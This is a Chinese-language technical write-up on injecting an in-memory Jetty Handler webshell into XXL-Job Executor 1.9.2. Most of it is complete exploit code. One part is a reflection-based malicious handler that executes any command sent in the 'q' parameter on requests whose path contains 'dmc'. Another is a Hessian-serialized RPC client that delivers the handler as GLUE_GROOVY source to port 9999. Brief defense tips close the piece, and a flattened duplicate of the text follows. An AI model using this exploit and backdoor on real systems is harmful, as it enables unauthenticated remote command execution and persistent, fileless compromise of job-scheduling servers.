实现xxl-job-executor 1.9.2阉割版Jetty服务的Handler内存马
字数 1156 2025-08-22 12:22:15

XXL-Job Executor 1.9.2 Jetty Handler内存马技术分析

前言

本文详细分析XXL-Job Executor 1.9.2版本中Jetty服务的Handler内存马实现技术。针对不出网的XXL-Job Executor 1.x服务,在反序列化漏洞利用时,提供了一种有效的回显命令执行方法。

环境背景

XXL-Job架构分析

XXL-Job 1.9.2版本目录结构:

xxl-job-1.9.2
├── doc
├── db
├── images
├── xxl-job-admin
├── xxl-job-core
└── xxl-job-executor-samples
    ├── xxl-job-executor-sample-jfinal
    ├── xxl-job-executor-sample-nutz
    ├── xxl-job-executor-sample-spring
    └── xxl-job-executor-sample-springboot

关键组件:

  • xxl-job-admin: 管理端代码
  • xxl-job-core: 核心代码
  • xxl-job-executor-samples: 不同框架的示例实现

服务端口

启动xxl-job-executor-sample-springboot会监听两个端口:

  • 8081端口:SpringBoot服务端口
  • 9999端口:Jetty服务监听Job的端口

技术挑战

  1. 公开可查的内存马不适用于XXL-Job Executor 1.x版本
  2. XXL-Job 1.x使用Jetty中间件,2.x版本的Netty内存马不适用
  3. 目标环境中的Jetty服务是"阉割版",没有引入Servlet包

技术分析

Jetty服务处理流程

  1. Jetty服务启动时注册一个名为JettyServerHandler的Handler
  2. org.eclipse.jetty.server.handler.HandlerCollection#handle中,服务循环从_handlers取Handler处理请求

调用链:

handle:33, JettyServerHandler (com.xxl.job.core.rpc.netcom.jetty.server)
handle:110, HandlerCollection (org.eclipse.jetty.server.handler)
handle:97, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:499, Server (org.eclipse.jetty.server)
handle:311, HttpChannel (org.eclipse.jetty.server)
onFillable:258, HttpConnection (org.eclipse.jetty.server)
run:544, AbstractConnection$2 (org.eclipse.jetty.io)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

内存马实现思路

通过反射获取Jetty的_handlers数组,注入恶意Handler:

  1. 获取_handlers的路径:
TargetObject = {com.xxl.job.core.thread.JobThread}
  ---> group = {java.lang.ThreadGroup}
    ---> threads = {class [Ljava.lang.Thread;4] = {java.lang.Thread}
      ---> target = {com.xxl.job.core.rpc.netcom.jetty.server.JettyServer$1}
        ---> this$0 = {com.xxl.job.core.rpc.netcom.jetty.server.JettyServer}
          ---> server = {org.eclipse.jetty.server.Server}
            ---> _handler = {org.eclipse.jetty.server.handler.HandlerCollection}
  1. 遍历Thread找到_handler后,通过反射设置构造的恶意Handler数组

完整实现代码

恶意Handler实现

package com.xxl.job.executor.service.jobhandler;

import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;

public class DemoGlueJobHandler extends IJobHandler {

    @Override
    public ReturnT<String> execute(String param) throws Exception {
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field threads = group.getClass().getDeclaredField("threads");
        threads.setAccessible(true);
        Thread[] allThreads = (Thread[]) threads.get(group);
        System.out.println(allThreads.length);
        
        for (Thread thread : allThreads) {
            if(thread.getClass().getName().contains("JobThread")){
                Thread[] tThreads = (Thread[]) getField(thread.getThreadGroup(),"threads");
                for(Thread tThread: tThreads){
                    Object target = getField(tThread,"target");
                    if(target.getClass().getName().contains("jetty.server.JettyServer")){
                        Object JettyServer = getField(target, "this$0");
                        Server server = (Server) getField(JettyServer, "server");
                        Handler[] _handlers = server.getHandlers();
                        ArrayList<Handler> handlerArrayList= new ArrayList<>();
                        handlerArrayList.add(new evilHandler());
                        handlerArrayList.addAll(Arrays.asList(((HandlerCollection) _handlers[0]).getHandlers()));
                        setField(server.getHandler(),"_handlers", handlerArrayList.toArray(new Handler[0]));
                    }
                }
            }
        }
        return ReturnT.SUCCESS;
    }

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            return null;
        } catch (NoSuchFieldException e) {
            return null;
        }
        return obj;
    }

    private static void setField(Object o, String k,Object v) throws Exception{
        Field f;
        try{
            f = o.getClass().getDeclaredField(k);
        }catch (NoSuchFieldException e){
            f = o.getClass().getSuperclass().getDeclaredField(k);
        }catch (Exception e1){
            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
        }
        f.setAccessible(true);
        f.set(o,v);
    }

    public class evilHandler extends AbstractHandler {
        @Override
        public void handle(String s, Request request, HttpServletRequest httpServletRequest, HttpServletResponse response) throws IOException, ServletException {
            if(!s.contains("dmc")){
                return;
            }
            response.setContentType("text/html;charset=utf-8");
            response.setStatus(HttpServletResponse.SC_OK);
            request.setHandled(true);
            Process process = Runtime.getRuntime().exec(request.getParameter("q"));

            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
            String line;
            String res="";
            while ((line = reader.readLine()) != null) {
                res+=line+"\n";
            }

            OutputStream out = response.getOutputStream();
            out.write(res.getBytes());
            out.flush();
            out.close();
        }
    }
}

攻击利用代码

package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.job.core.rpc.codec.RpcRequest;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {
    private static void sendData(String url, byte[] bytes) {
        AsyncHttpClient c = new DefaultAsyncHttpClient();
        try {
            c.preparePost(url)
                .setBody(bytes)
                .execute(new AsyncCompletionHandler<Response>() {
                    @Override
                    public Response onCompleted(Response response) throws Exception {
                        System.out.println("Server Return Data: ");
                        System.out.println(response.getResponseBody());
                        return response;
                    }
                    
                    @Override
                    public void onThrowable(Throwable t) {
                        System.out.println("HTTP出现异常");
                        t.printStackTrace();
                        super.onThrowable(t);
                    }
                }).toCompletableFuture().join();
            c.close();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                c.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws Exception {
        String code = "package com.xxl.job.executor.service.jobhandler;\n" +
                "\n" +
                "import com.xxl.job.core.biz.model.ReturnT;\n" +
                "import com.xxl.job.core.handler.IJobHandler;\n" +
                "import org.eclipse.jetty.server.Handler;\n" +
                "import org.eclipse.jetty.server.Request;\n" +
                "import org.eclipse.jetty.server.Server;\n" +
                "import org.eclipse.jetty.server.handler.AbstractHandler;\n" +
                "import org.eclipse.jetty.server.handler.HandlerCollection;\n" +
                "\n" +
                "import javax.servlet.ServletException;\n" +
                "import javax.servlet.http.HttpServletRequest;\n" +
                "import javax.servlet.http.HttpServletResponse;\n" +
                "import javax.servlet.http.HttpSession;\n" +
                "import java.io.*;\n" +
                "import java.lang.reflect.Field;\n" +
                "import java.util.ArrayList;\n" +
                "import java.util.Arrays;\n" +
                "\n" +
                "public class DemoGlueJobHandler extends IJobHandler {\n" +
                "\n" +
                " @Override\n" +
                " public ReturnT<String> execute(String param) throws Exception {\n" +
                " ThreadGroup group = Thread.currentThread().getThreadGroup();\n" +
                " java.lang.reflect.Field threads = group.getClass().getDeclaredField(\"threads\");\n" +
                " threads.setAccessible(true);\n" +
                " Thread[] allThreads = (Thread[]) threads.get(group);\n" +
                " System.out.println(allThreads.length);\n" +
                " for (Thread thread : allThreads) {\n" +
                "\n" +
                " if(thread.getClass().getName().contains(\"JobThread\")){\n" +
                " Thread[] tThreads = (Thread[]) getField(thread.getThreadGroup(),\"threads\");\n" +
                " for(Thread tThread: tThreads){\n" +
                " Object target = getField(tThread,\"target\");\n" +
                " if(target.getClass().getName().contains(\"jetty.server.JettyServer\")){\n" +
                " Object JettyServer = getField(target, \"this\\$0\");\n" +
                " Server server = (Server) getField(JettyServer, \"server\");\n" +
                " Handler[] _handlers = server.getHandlers();\n" +
                " ArrayList<Handler> handlerArrayList= new ArrayList<>();\n" +
                " handlerArrayList.add(new evilHandler());\n" +
                " handlerArrayList.addAll(Arrays.asList(((HandlerCollection) _handlers[0]).getHandlers()));\n" +
                " setField(server.getHandler(),\"_handlers\", handlerArrayList.toArray(new Handler[0]));\n" +
                "\n" +
                " }\n" +
                " }\n" +
                " }\n" +
                " }\n" +
                "\n" +
                " return ReturnT.SUCCESS;\n" +
                " }\n" +
                "\n" +
                " public Object getField(Object obj, String fieldName){\n" +
                " try {\n" +
                " Field field = obj.getClass().getDeclaredField(fieldName);\n" +
                " field.setAccessible(true);\n" +
                " obj = field.get(obj);\n" +
                " } catch (IllegalAccessException e) {\n" +
                "\n" +
                " return null;\n" +
                " } catch (NoSuchFieldException e) {\n" +
                "\n" +
                " return null;\n" +
                " }\n" +
                " return obj;\n" +
                " }\n" +
                "\n" +
                " private static void setField(Object o, String k,Object v) throws Exception{\n" +
                " Field f;\n" +
                " try{\n" +
                " f = o.getClass().getDeclaredField(k);\n" +
                " }catch (NoSuchFieldException e){\n" +
                " f = o.getClass().getSuperclass().getDeclaredField(k);\n" +
                " }catch (Exception e1){\n" +
                " f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);\n" +
                " }\n" +
                " f.setAccessible(true);\n" +
                " f.set(o,v);\n" +
                " }\n" +
                " public class evilHandler extends AbstractHandler {\n" +
                "\n" +
                " @Override\n" +
                " public void handle(String s, Request request, HttpServletRequest httpServletRequest, HttpServletResponse response) throws IOException, ServletException {\n" +
                " if(!s.contains(\"dmc\")){\n" +
                " return;\n" +
                " }\n" +
                " response.setContentType(\"text/html;charset=utf-8\");\n" +
                " response.setStatus(HttpServletResponse.SC_OK);\n" +
                " request.setHandled(true);\n" +
                " Process process = Runtime.getRuntime().exec(request.getParameter(\"q\"));\n" +
                "\n" +
                " InputStream inputStream = process.getInputStream();\n" +
                " BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, \"UTF-8\"));\n" +
                " String line;\n" +
                " String res=\"\";\n" +
                " while ((line = reader.readLine()) != null) {\n" +
                " res+=line+\"\\n\";\n" +
                " }\n" +
                "\n" +
                " OutputStream out = response.getOutputStream();\n" +
                " out.write(res.getBytes());\n" +
                " out.flush();\n" +
                " out.close();\n" +
                " }\n" +
                " }\n" +
                "\n" +
                "}";
        
        System.out.println(code);
        
        TriggerParam params = new TriggerParam();
        params.setJobId(10);
        params.setExecutorBlockStrategy("SERIAL_EXECUTION");
        params.setLogId(10);
        params.setGlueType("GLUE_GROOVY");
        params.setGlueSource(code);
        params.setGlueUpdatetime((new Date()).getTime());
        
        RpcRequest rpcRequest = new RpcRequest();
        rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
        rpcRequest.setMethodName("run");
        rpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
        rpcRequest.setParameters(new Object[]{params});
        rpcRequest.setCreateMillisTime((new Date()).getTime());
        
        HessianSerializer serializer = new HessianSerializer();
        byte[] data = serializer.serialize(rpcRequest);
        sendData("http://127.0.0.1:9999", data);
    }
}

技术要点总结

  1. 目标定位:针对XXL-Job Executor 1.x版本的Jetty服务(9999端口)
  2. 技术难点:无Servlet环境的Jetty服务内存马注入
  3. 实现方法
    • 通过反射获取Jetty的HandlerCollection
    • 注入自定义的恶意Handler到_handlers数组
    • 恶意Handler实现命令执行和回显功能
  4. 触发条件:请求URL包含"dmc"参数
  5. 命令执行:通过request.getParameter("q")获取并执行命令

防御建议

  1. 及时升级到XXL-Job最新版本
  2. 限制9999端口的网络访问
  3. 监控HandlerCollection的异常修改
  4. 实施代码签名和运行时保护机制

参考资源

  1. XXL-Job官方GitHub
  2. java-object-searcher工具
  3. XxlJob-Hessian-RCE
XXL-Job Executor 1.9.2 Jetty Handler内存马技术分析 前言 本文详细分析XXL-Job Executor 1.9.2版本中Jetty服务的Handler内存马实现技术。针对不出网的XXL-Job Executor 1.x服务,在反序列化漏洞利用时,提供了一种有效的回显命令执行方法。 环境背景 XXL-Job架构分析 XXL-Job 1.9.2版本目录结构: 关键组件: xxl-job-admin : 管理端代码 xxl-job-core : 核心代码 xxl-job-executor-samples : 不同框架的示例实现 服务端口 启动 xxl-job-executor-sample-springboot 会监听两个端口: 8081端口:SpringBoot服务端口 9999端口:Jetty服务监听Job的端口 技术挑战 公开可查的内存马不适用于XXL-Job Executor 1.x版本 XXL-Job 1.x使用Jetty中间件,2.x版本的Netty内存马不适用 目标环境中的Jetty服务是"阉割版",没有引入Servlet包 技术分析 Jetty服务处理流程 Jetty服务启动时注册一个名为 JettyServerHandler 的Handler 在 org.eclipse.jetty.server.handler.HandlerCollection#handle 中,服务循环从 _handlers 取Handler处理请求 调用链: 内存马实现思路 通过反射获取Jetty的 _handlers 数组,注入恶意Handler: 获取 _handlers 的路径: 遍历Thread找到 _handler 后,通过反射设置构造的恶意Handler数组 完整实现代码 恶意Handler实现 攻击利用代码 技术要点总结 目标定位 :针对XXL-Job Executor 1.x版本的Jetty服务(9999端口) 技术难点 :无Servlet环境的Jetty服务内存马注入 实现方法 : 通过反射获取Jetty的HandlerCollection 注入自定义的恶意Handler到_ handlers数组 恶意Handler实现命令执行和回显功能 触发条件 :请求URL包含"dmc"参数 命令执行 :通过request.getParameter("q")获取并执行命令 防御建议 及时升级到XXL-Job最新版本 限制9999端口的网络访问 监控HandlerCollection的异常修改 实施代码签名和运行时保护机制 参考资源 XXL-Job官方GitHub java-object-searcher工具 XxlJob-Hessian-RCE